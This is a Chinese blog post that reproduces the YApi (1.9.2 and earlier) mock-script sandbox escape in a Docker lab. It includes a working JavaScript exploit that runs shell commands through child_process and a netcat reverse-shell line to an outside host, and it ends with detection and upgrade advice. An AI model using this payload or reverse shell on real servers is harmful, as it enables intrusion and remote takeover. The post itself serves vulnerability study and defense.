漏洞复现-yapi远程执行命令漏洞复现

目录

  • 漏洞原理
    • 漏洞发现
    • 漏洞描述
    • 影响范围
  • yapi学习
  • 漏洞复现
    • 环境搭建
    • exp
  • 入侵检测与防御
  • 参考


漏洞原理

漏洞发现

查看issue2229
漏洞复现-yapi远程执行命令漏洞复现_第1张图片

漏洞描述

网站开放注册功能时可随意注册,设置全局mock脚本可执行任意代码。

影响范围

Yapi <= 1.9.2

yapi学习

YApi 是高效、易用、功能强大的 api 管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。

通过官方文档学习如何新建项目
漏洞复现-yapi远程执行命令漏洞复现_第2张图片
通过官方文档学习如何新建接口
漏洞复现-yapi远程执行命令漏洞复现_第3张图片

通过官方文档学习Mock脚本与优先级
漏洞复现-yapi远程执行命令漏洞复现_第4张图片

漏洞复现

环境搭建

这里使用的JayFong的docker-YApi,WEB UI在40001端口。修改了版本号为1.8.0

version: '3'

services:
  yapi-web:
    image: jayfong/yapi:1.8.0
    container_name: yapi-web
    ports:
      - 40001:3000
    environment:
      - [email protected]
      - YAPI_ADMIN_PASSWORD=adm1n
      - YAPI_CLOSE_REGISTER=false
      - YAPI_DB_SERVERNAME=yapi-mongo
      - YAPI_DB_PORT=27017
      - YAPI_DB_DATABASE=yapi
      - YAPI_MAIL_ENABLE=false
      - YAPI_LDAP_LOGIN_ENABLE=false
      - YAPI_PLUGINS=[]
    depends_on:
      - yapi-mongo
    links:
      - yapi-mongo
    restart: unless-stopped
  yapi-mongo:
    image: mongo:latest
    container_name: yapi-mongo
    volumes:
      - ./data/db:/data/db
    expose:
      - 27017
    restart: unless-stopped

启动镜像

docker-compose up -d

启动后发现管理员账号密码不对,应该是环境变量在容器中没有使用,查看配置文件找到管理员账号
漏洞复现-yapi远程执行命令漏洞复现_第5张图片
查看安装脚本,找到密码
漏洞复现-yapi远程执行命令漏洞复现_第6张图片
打开WEB UI,使用[email protected]、ymfe.org登录
新建项目
漏洞复现-yapi远程执行命令漏洞复现_第7张图片
新建接口
漏洞复现-yapi远程执行命令漏洞复现_第8张图片

exp

设置全局mock脚本
漏洞复现-yapi远程执行命令漏洞复现_第9张图片

const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("ls").toString()

可以把ls改为反弹shell等,例如

 nc 10.28.144.100  7777 -e /bin/sh

访问接口预览中的Mock地址即可看到命令结果。
漏洞复现-yapi远程执行命令漏洞复现_第10张图片

入侵检测与防御

更新为最新版、禁止注册是最好的防御方式
漏洞复现-yapi远程执行命令漏洞复现_第11张图片
入侵检测可以检测一下可疑的进程、网络连接,例如前面说的反弹Shell可以用下面的方式进行检测:
漏洞复现-yapi远程执行命令漏洞复现_第12张图片

ps -eo pid,ppid,comm,args

漏洞复现-yapi远程执行命令漏洞复现_第13张图片
可以看到进程1的子进程是117,很可疑

netstat -anp | grep ESTABLISHED

在这里插入图片描述

可以看到子进程117在与10.28.144.100的7777端口进行通信

参考

github-YMFE-yapi
yapi文档
yapi-issue2229
Awesome-POC-yapi
YApi Mock功能远程代码执行漏洞复现
gitee-JayFong-docker-YApi

你可能感兴趣的:(#,漏洞复现,网络安全,yapi)